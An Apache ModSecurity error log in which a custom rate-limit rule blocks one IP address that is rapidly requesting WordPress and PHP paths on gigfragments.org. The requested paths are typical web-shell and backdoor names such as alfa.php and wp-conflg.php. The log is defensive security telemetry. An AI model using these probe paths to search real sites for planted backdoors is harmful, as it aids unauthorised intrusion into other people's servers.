[Sun Dec 28 18:42:35.881873 2025] [:error] [pid 42294:tid 42363] [client 172.192.64.62:7122] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVEJm9TE5kYcYCOzl9GtxgAAAI0"]
[Sun Dec 28 18:42:36.202627 2025] [:error] [pid 43789:tid 43813] [client 172.192.64.62:6965] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVEJnAa-tUppni4CcCYhEAAAARY"]
[Sun Dec 28 18:42:36.503542 2025] [:error] [pid 43789:tid 43815] [client 172.192.64.62:7064] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVEJnAa-tUppni4CcCYhEQAAARg"]
[Sun Dec 28 18:42:36.797465 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:7080] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVEJnMvc9B-5cwN385LQ5gAAAEk"]
[Sun Dec 28 18:42:37.067118 2025] [:error] [pid 42378:tid 42381] [client 172.192.64.62:7031] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVEJnTgtcN-KHAjWrX8IpAAAAME"]
[Sun Dec 28 18:42:37.381187 2025] [:error] [pid 43789:tid 43794] [client 172.192.64.62:6986] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVEJnQa-tUppni4CcCYhFAAAAQM"]
[Sun Dec 28 18:42:37.723933 2025] [:error] [pid 42378:tid 42400] [client 172.192.64.62:6912] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVEJnTgtcN-KHAjWrX8IpQAAANQ"]
[Sun Dec 28 18:42:37.988247 2025] [:error] [pid 42378:tid 42399] [client 172.192.64.62:7160] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVEJnTgtcN-KHAjWrX8IpgAAANM"]
[Sun Dec 28 18:42:38.264686 2025] [:error] [pid 42293:tid 42340] [client 172.192.64.62:7025] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aVEJnsvc9B-5cwN385LQ5wAAAFE"]
[Sun Dec 28 18:42:38.561535 2025] [:error] [pid 29436:tid 29452] [client 172.192.64.62:6991] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aVEJnrchzOOtNL9VPNLUIAAAAY0"]
[Sun Dec 28 18:42:38.882632 2025] [:error] [pid 42294:tid 42368] [client 172.192.64.62:7083] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aVEJntTE5kYcYCOzl9GtzAAAAJI"]
[Sun Dec 28 18:42:39.170434 2025] [:error] [pid 29436:tid 29445] [client 172.192.64.62:6918] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aVEJn7chzOOtNL9VPNLUIgAAAYY"]
[Sun Dec 28 18:42:39.509960 2025] [:error] [pid 43789:tid 43810] [client 172.192.64.62:7003] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJnwa-tUppni4CcCYhFgAAARM"]
[Sun Dec 28 18:42:39.766185 2025] [:error] [pid 42293:tid 42344] [client 172.192.64.62:7150] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJn8vc9B-5cwN385LQ6AAAAFU"]
[Sun Dec 28 18:42:40.050436 2025] [:error] [pid 42378:tid 42402] [client 172.192.64.62:7088] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJoDgtcN-KHAjWrX8IqAAAANY"]
[Sun Dec 28 18:42:40.391250 2025] [:error] [pid 42378:tid 42385] [client 172.192.64.62:6920] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVEJoDgtcN-KHAjWrX8IqgAAAMU"]
[Sun Dec 28 18:42:40.662765 2025] [:error] [pid 42294:tid 42365] [client 172.192.64.62:6985] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVEJoNTE5kYcYCOzl9GtzgAAAI8"]
[Sun Dec 28 18:42:40.940475 2025] [:error] [pid 42292:tid 42296] [client 172.192.64.62:7014] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVEJoJyOrM_vaFx1osY5MgAAAAA"]
[Sun Dec 28 18:42:41.246173 2025] [:error] [pid 42292:tid 42308] [client 172.192.64.62:7161] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVEJoZyOrM_vaFx1osY5MwAAAAw"]
[Sun Dec 28 18:42:41.568935 2025] [:error] [pid 42292:tid 42318] [client 172.192.64.62:6944] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVEJoZyOrM_vaFx1osY5NQAAABY"]
[Sun Dec 28 18:42:41.904522 2025] [:error] [pid 42294:tid 42353] [client 172.192.64.62:7117] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVEJodTE5kYcYCOzl9Gt0AAAAIM"]
[Sun Dec 28 18:42:42.150176 2025] [:error] [pid 42292:tid 42320] [client 172.192.64.62:7085] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVEJopyOrM_vaFx1osY5NgAAABg"]
[Sun Dec 28 18:42:42.396336 2025] [:error] [pid 42293:tid 42331] [client 172.192.64.62:7136] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVEJosvc9B-5cwN385LQ6gAAAEg"]
[Sun Dec 28 18:42:42.660734 2025] [:error] [pid 42293:tid 42335] [client 172.192.64.62:6930] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVEJosvc9B-5cwN385LQ7AAAAEw"]
[Sun Dec 28 18:42:42.933909 2025] [:error] [pid 42292:tid 42316] [client 172.192.64.62:6995] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVEJopyOrM_vaFx1osY5NwAAABQ"]
[Sun Dec 28 18:42:43.235992 2025] [:error] [pid 29436:tid 29461] [client 172.192.64.62:6967] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVEJo7chzOOtNL9VPNLUIwAAAZY"]
[Sun Dec 28 18:42:43.527333 2025] [:error] [pid 43789:tid 43806] [client 172.192.64.62:6939] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVEJowa-tUppni4CcCYhGgAAAQ8"]
[Sun Dec 28 18:42:43.795682 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:7021] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aVEJo5yOrM_vaFx1osY5OgAAAA0"]
[Sun Dec 28 18:42:44.027776 2025] [:error] [pid 29436:tid 29446] [client 172.192.64.62:6998] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEJpLchzOOtNL9VPNLUJQAAAYc"]
[Sun Dec 28 18:42:44.260193 2025] [:error] [pid 29436:tid 29460] [client 172.192.64.62:7024] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEJpLchzOOtNL9VPNLUJgAAAZU"]
[Sun Dec 28 18:42:44.497235 2025] [:error] [pid 43789:tid 43801] [client 172.192.64.62:7035] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEJpAa-tUppni4CcCYhGwAAAQo"]
[Sun Dec 28 18:42:44.732424 2025] [:error] [pid 29437:tid 29490] [client 172.192.64.62:7060] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEJpBhDotAbVk6pZLeumwAAAdg"]
[Sun Dec 28 18:42:44.962240 2025] [:error] [pid 29436:tid 29451] [client 172.192.64.62:7139] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVEJpLchzOOtNL9VPNLUKAAAAYw"]
[Sun Dec 28 18:42:45.215407 2025] [:error] [pid 42292:tid 42303] [client 172.192.64.62:6987] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVEJpZyOrM_vaFx1osY5OwAAAAc"]
[Sun Dec 28 18:42:45.452407 2025] [:error] [pid 43789:tid 43804] [client 172.192.64.62:6963] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVEJpQa-tUppni4CcCYhHgAAAQ0"]
[Sun Dec 28 18:42:45.689617 2025] [:error] [pid 42292:tid 42298] [client 172.192.64.62:7093] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVEJpZyOrM_vaFx1osY5PAAAAAI"]
[Sun Dec 28 18:42:45.946874 2025] [:error] [pid 42292:tid 42314] [client 172.192.64.62:6940] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aVEJpZyOrM_vaFx1osY5PQAAABI"]
[Sun Dec 28 18:42:46.174127 2025] [:error] [pid 29436:tid 29459] [client 172.192.64.62:6919] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aVEJprchzOOtNL9VPNLUKwAAAZQ"]
[Sun Dec 28 18:42:46.413402 2025] [:error] [pid 29436:tid 29454] [client 172.192.64.62:6881] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aVEJprchzOOtNL9VPNLULAAAAY8"]
[Sun Dec 28 18:42:46.639287 2025] [:error] [pid 29436:tid 29458] [client 172.192.64.62:7032] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aVEJprchzOOtNL9VPNLULgAAAZM"]
[Sun Dec 28 18:42:46.944643 2025] [:error] [pid 29436:tid 29453] [client 172.192.64.62:7037] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aVEJprchzOOtNL9VPNLULwAAAY4"]
[Sun Dec 28 18:42:47.174869 2025] [:error] [pid 29436:tid 29440] [client 172.192.64.62:6875] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aVEJp7chzOOtNL9VPNLUMAAAAYE"]
[Sun Dec 28 18:42:47.417702 2025] [:error] [pid 42292:tid 42305] [client 172.192.64.62:6964] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aVEJp5yOrM_vaFx1osY5QAAAAAk"]
[Sun Dec 28 18:42:47.644532 2025] [:error] [pid 42292:tid 42311] [client 172.192.64.62:7125] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aVEJp5yOrM_vaFx1osY5QQAAAA8"]
[Sun Dec 28 18:42:47.874811 2025] [:error] [pid 42292:tid 42317] [client 172.192.64.62:6893] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJp5yOrM_vaFx1osY5QgAAABU"]
[Sun Dec 28 18:42:48.100955 2025] [:error] [pid 29436:tid 29450] [client 172.192.64.62:6871] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJqLchzOOtNL9VPNLUMgAAAYs"]
[Sun Dec 28 18:42:48.398640 2025] [:error] [pid 29436:tid 29457] [client 172.192.64.62:7030] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJqLchzOOtNL9VPNLUNAAAAZI"]
[Sun Dec 28 18:42:48.626028 2025] [:error] [pid 29436:tid 29446] [client 172.192.64.62:6925] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVEJqLchzOOtNL9VPNLUNQAAAYc"]
[Sun Dec 28 18:42:48.865104 2025] [:error] [pid 42294:tid 42363] [client 172.192.64.62:6972] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVEJqNTE5kYcYCOzl9Gt1AAAAI0"]
[Sun Dec 28 18:42:49.097153 2025] [:error] [pid 42293:tid 42325] [client 172.192.64.62:7123] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVEJqcvc9B-5cwN385LQ7wAAAEI"]
[Sun Dec 28 18:42:49.359545 2025] [:error] [pid 42292:tid 42308] [client 172.192.64.62:6968] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVEJqZyOrM_vaFx1osY5RAAAAAw"]
[Sun Dec 28 18:42:49.599673 2025] [:error] [pid 29436:tid 29448] [client 172.192.64.62:6931] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aVEJqbchzOOtNL9VPNLUOAAAAYk"]
[Sun Dec 28 18:42:49.828510 2025] [:error] [pid 42293:tid 42336] [client 172.192.64.62:6849] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEJqcvc9B-5cwN385LQ8QAAAE0"]
[Sun Dec 28 18:42:50.062901 2025] [:error] [pid 29437:tid 29473] [client 172.192.64.62:6917] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEJqhhDotAbVk6pZLeunwAAAcc"]
[Sun Dec 28 18:42:50.471797 2025] [:error] [pid 42293:tid 42342] [client 172.192.64.62:7086] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEJqsvc9B-5cwN385LQ9AAAAFM"]
[Sun Dec 28 18:42:50.716865 2025] [:error] [pid 42293:tid 42337] [client 172.192.64.62:6943] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEJqsvc9B-5cwN385LQ9wAAAE4"]
